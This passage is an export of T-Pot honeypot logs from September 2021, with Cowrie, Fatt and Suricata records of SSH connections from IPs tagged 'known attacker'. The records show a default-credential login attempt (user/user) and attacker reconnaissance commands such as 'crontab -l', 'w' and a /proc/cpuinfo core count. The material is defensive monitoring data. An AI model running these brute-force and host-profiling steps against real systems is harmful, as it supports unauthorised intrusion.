32996	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:12.581964+03	2021-09-20 15:00:04.184751+03	{"_id": "uwYOA3wBvYTbRNuEe00f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:12.581964Z", "@timestamp": "2021-09-20T11:54:12.581Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
32997	91.231.219.157	109.199.241.180	Cowrie	2021-09-20 14:54:12.609588+03	2021-09-20 15:00:04.185722+03	{"_id": "vAYOA3wBvYTbRNuEe00f", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "91.231.219.157", "asn": 57354, "as_org": "SYSTEMA Ltd.", "latitude": 43.6008, "location": {"lat": 43.6008, "lon": 39.7307}, "timezone": "Europe/Moscow", "city_name": "Sochi", "longitude": 39.7307, "postal_code": "354008", "region_code": "KDA", "region_name": "Krasnodarskiy Kray", "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "91.231.219.157", "eventid": "cowrie.session.closed", "message": "Connection lost after 13 seconds", "session": "d37f4c901d29", "@version": "1", "duration": 13.734512567520142, "timestamp": "2021-09-20T11:54:12.609588Z", "@timestamp": "2021-09-20T11:54:12.609Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	known attacker	\N
32998	1.116.239.130	109.199.241.180	Fatt	2021-09-20 14:54:13.065254+03	2021-09-20 15:00:04.186723+03	{"_id": "wwYOA3wBvYTbRNuEfU2N", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {"ip": "1.116.239.130", "latitude": 39.9288, "location": {"lat": 39.9288, "lon": 116.3889}, "timezone": "Asia/Shanghai", "city_name": "Beijing", "longitude": 116.3889, "region_code": "BJ", "region_name": "Beijing", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "src_ip": "1.116.239.130", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,rsa-sha2-512,rsa-sha2-256,ssh-rsa,ssh-dss", "hassh": "f555226df1963d1d3c09daf865abdc9a", "ccacts": "none", "ccastc": "none", "ceacts": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "ceastc": "aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc", "client": "SSH-2.0-libssh_0.9.6", "cmacts": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "cmastc": "hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none"}, "protocol": "ssh", "src_port": 40246, "dest_port": 22, "timestamp": "2021-09-20T11:54:13.065254", "@timestamp": "2021-09-20T11:54:13.065Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
32999	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:13.406029+03	2021-09-20 15:00:04.188722+03	{"_id": "xAYOA3wBvYTbRNuEf00G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "crontab -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: crontab -l", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:13.406029Z", "@timestamp": "2021-09-20T11:54:13.406Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33000	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:13.873773+03	2021-09-20 15:00:04.189721+03	{"_id": "xwYOA3wBvYTbRNuEf00G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 21, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "src_ip": "189.50.42.214", "ttylog": "log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/f904275333aeac48d7df6cf53fe5fb9212c7d132a7d37253d2ab9321ba2690d8 after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.4683837890625, "duplicate": true, "timestamp": "2021-09-20T11:54:13.873773Z", "@timestamp": "2021-09-20T11:54:13.873Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33001	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:13.051358+03	2021-09-20 15:00:04.190722+03	{"_id": "xgYOA3wBvYTbRNuEf00G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 50, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "src_ip": "189.50.42.214", "ttylog": "log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/a28dd0be4d71a20d853d1770a896f623b4558fd8f00a6e06cc489263029b66f0 after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.46947288513183594, "duplicate": true, "timestamp": "2021-09-20T11:54:13.051358Z", "@timestamp": "2021-09-20T11:54:13.051Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33002	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:13.405473+03	2021-09-20 15:00:04.192723+03	{"_id": "yAYOA3wBvYTbRNuEf00G", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:13.405473Z", "@timestamp": "2021-09-20T11:54:13.405Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33003	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:54:14.224313+03	2021-09-20 15:00:04.193722+03	{"_id": "yQYOA3wBvYTbRNuEgU12", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "117.22.230.94", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 2134, "timestamp": "2021-09-20T11:54:14.224313", "@timestamp": "2021-09-20T11:54:14.224Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33004	117.22.230.94	109.199.241.180	Cowrie	2021-09-20 14:54:14.223188+03	2021-09-20 15:00:04.195722+03	{"_id": "2wYOA3wBvYTbRNuEgk3w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "117.22.230.94", "asn": 4134, "as_org": "Chinanet", "latitude": 34.2598, "location": {"lat": 34.2598, "lon": 108.9294}, "timezone": "Asia/Shanghai", "city_name": "Xi'an", "longitude": 108.9294, "region_code": "SN", "region_name": "Shaanxi", "country_name": "China", "country_code2": "CN", "country_code3": "CN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "117.22.230.94", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 117.22.230.94:2134 (192.168.176.2:22) [session: 119df4829777]", "session": "119df4829777", "@version": "1", "protocol": "ssh", "src_port": 2134, "dest_port": 22, "timestamp": "2021-09-20T11:54:14.223188Z", "@timestamp": "2021-09-20T11:54:14.223Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
33005	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:15.040451+03	2021-09-20 15:00:04.196722+03	{"_id": "2QYOA3wBvYTbRNuEgk3w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"arch": "linux-mn10300-lsb", "host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.session.params", "message": [], "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:15.040451Z", "@timestamp": "2021-09-20T11:54:15.040Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.params	\N	known attacker	\N
33006	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:14.221436+03	2021-09-20 15:00:04.197753+03	{"_id": "3QYOA3wBvYTbRNuEgk3w", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "w", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: w", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:14.221436Z", "@timestamp": "2021-09-20T11:54:14.221Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.command.input	\N	known attacker	\N
33007	5.188.62.250	109.199.241.180	Suricata	2021-09-20 14:54:05.020006+03	2021-09-20 15:00:04.198751+03	{"_id": "XAYOA3wBvYTbRNuEXU1A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "flow": {"start": "2021-09-20T11:54:04.799820+0000", "pkts_toclient": 3, "pkts_toserver": 5, "bytes_toclient": 821, "bytes_toserver": 1262}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "alert": {"gid": 1, "rev": 8, "action": "allowed", "category": "Misc activity", "metadata": {"created_at": ["2010_07_30"], "updated_at": ["2010_07_30"]}, "severity": 3, "signature": "ET POLICY SSH session in progress on Expected Port", "signature_id": 2001978}, "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.250", "stream": 0, "dest_ip": "192.168.20.116", "flow_id": 743108637373516, "payload": "AAADjAoUSSVGLaEqJ6RUbSdUGYdTgAAAAIxjdXJ2ZTI1NTE5LXNoYTI1NkBsaWJzc2gub3JnLGVjZGgtc2hhMi1uaXN0cDI1NixlY2RoLXNoYTItbmlzdHAzODQsZWNkaC1zaGEyLW5pc3RwNTIxLGRpZmZpZS1oZWxsbWFuLWdyb3VwMTQtc2hhMSxkaWZmaWUtaGVsbG1hbi1ncm91cDEtc2hhMQAAAS1zc2gtcnNhLWNlcnQtdjAxQG9wZW5zc2guY29tLHNzaC1kc3MtY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1Ni1jZXJ0LXYwMUBvcGVuc3NoLmNvbSxlY2RzYS1zaGEyLW5pc3RwMzg0LWNlcnQtdjAxQG9wZW5zc2guY29tLGVjZHNhLXNoYTItbmlzdHA1MjEtY2VydC12MDFAb3BlbnNzaC5jb20sc3NoLWVkMjU1MTktY2VydC12MDFAb3BlbnNzaC5jb20sZWNkc2Etc2hhMi1uaXN0cDI1NixlY2RzYS1zaGEyLW5pc3RwMzg0LGVjZHNhLXNoYTItbmlzdHA1MjEsc3NoLXJzYSxzc2gtZHNzLHNzaC1lZDI1NTE5AAAAcWFlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYyxhcmNmb3VyLDNkZXMtY2JjAAAAcWFlczEyOC1nY21Ab3BlbnNzaC5jb20sY2hhY2hhMjAtcG9seTEzMDVAb3BlbnNzaC5jb20sYWVzMTI4LWN0cixhZXMxOTItY3RyLGFlczI1Ni1jdHIsYWVzMTI4LWNiYyxhcmNmb3VyLDNkZXMtY2JjAAAAUGhtYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTIsaG1hYy1zaGEyLTI1NixobWFjLXNoYTEsaG1hYy1zaGExLTk2AAAAUGhtYWMtc2hhMi0yNTYtZXRtQG9wZW5zc2guY29tLGhtYWMtc2hhMi01MTIsaG1hYy1zaGEyLTI1NixobWFjLXNoYTEsaG1hYy1zaGExLTk2AAAABG5vbmUAAAAEbm9uZQAAAAAAAAAAAAAAAADTcEApmPxWXxav", "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47036, "app_proto": "ssh", "dest_port": 22, "timestamp": "2021-09-20T11:54:05.020006Z", "@timestamp": "2021-09-20T11:54:05.020Z", "event_type": "alert", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles", "payload_printable": "....\\n.I%F-.*'.Tm'T..S.....curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1...-ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ssh-ed25519-cert-v01@openssh.com,ecdsa-sha2-nistp256,ecdsa-sha2-nistp384,ecdsa-sha2-nistp521,ssh-rsa,ssh-dss,ssh-ed25519...qaes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc...qaes128-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr,aes128-cbc,arcfour,3des-cbc...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96...Phmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-256,hmac-sha1,hmac-sha1-96....none....none..............p@)..V_.."}}	1	\N	\N	alert	\N	\N
33008	5.188.62.250	109.199.241.180	Suricata	2021-09-20 14:54:05.019819+03	2021-09-20 15:00:04.200752+03	{"_id": "WwYOA3wBvYTbRNuEXU1A", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "Go"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "proto": "TCP", "src_ip": "5.188.62.250", "dest_ip": "192.168.20.116", "flow_id": 743108637373516, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_server_kex"]}, "src_port": 47036, "dest_port": 22, "timestamp": "2021-09-20T11:54:05.019819Z", "@timestamp": "2021-09-20T11:54:05.019Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
33009	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:54:04.963603+03	2021-09-20 15:00:04.201752+03	{"_id": "XgYOA3wBvYTbRNuEXk1I", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "5.188.62.250", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 47036, "timestamp": "2021-09-20T11:54:04.963603", "@timestamp": "2021-09-20T11:54:04.963Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
33010	5.188.62.250	109.199.241.180	Cowrie	2021-09-20 14:54:05.213131+03	2021-09-20 15:00:04.202753+03	{"_id": "ZgYOA3wBvYTbRNuEX02_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "5.188.62.250", "asn": 44050, "as_org": "Petersburg Internet Network ltd.", "latitude": 55.7386, "location": {"lat": 55.7386, "lon": 37.6068}, "timezone": "Europe/Moscow", "longitude": 37.6068, "country_name": "Russia", "country_code2": "RU", "country_code3": "RU", "continent_code": "EU"}, "sensor": "b63cdd9641b8", "src_ip": "5.188.62.250", "eventid": "cowrie.login.failed", "message": "login attempt [user/user] failed", "session": "e8816f27cf71", "@version": "1", "password": "user", "username": "user", "timestamp": "2021-09-20T11:54:05.213131Z", "@timestamp": "2021-09-20T11:54:05.213Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
33011	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:05.900704+03	2021-09-20 15:00:04.203764+03	{"_id": "ZwYOA3wBvYTbRNuEX02_", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "size": 8, "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "shasum": "ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "src_ip": "189.50.42.214", "ttylog": "log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d", "eventid": "cowrie.log.closed", "message": "Closing TTY Log: log/tty/ea82fe82924bbdcd34f9642d3e79470eefa35f2308a6d85ad9cadf20051f1b2d after 0 seconds", "session": "373281d7e10b", "@version": "1", "duration": 0.9404809474945068, "duplicate": true, "timestamp": "2021-09-20T11:54:05.900704Z", "@timestamp": "2021-09-20T11:54:05.900Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.log.closed	\N	known attacker	\N
33012	189.50.42.214	109.199.241.180	Cowrie	2021-09-20 14:54:06.338694+03	2021-09-20 15:00:04.205724+03	{"_id": "bwYOA3wBvYTbRNuEY02o", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "189.50.42.214", "asn": 28326, "as_org": "Total Telecomunicações Ltda", "latitude": -14.9128, "location": {"lat": -14.9128, "lon": -48.8774}, "timezone": "America/Sao_Paulo", "city_name": "Barro Alto", "longitude": -48.8774, "postal_code": "76390", "region_code": "GO", "region_name": "Goias", "country_name": "Brazil", "country_code2": "BR", "country_code3": "BR", "continent_code": "SA"}, "input": "cat /proc/cpuinfo | grep model | grep name | wc -l", "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "189.50.42.214", "eventid": "cowrie.command.input", "message": "CMD: cat /proc/cpuinfo | grep model | grep name | wc -l", "session": "373281d7e10b", "@version": "1", "timestamp": "2021-09-20T11:54:06.338694Z", "@timestamp": "2021-09-20T11:54:06.338Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": 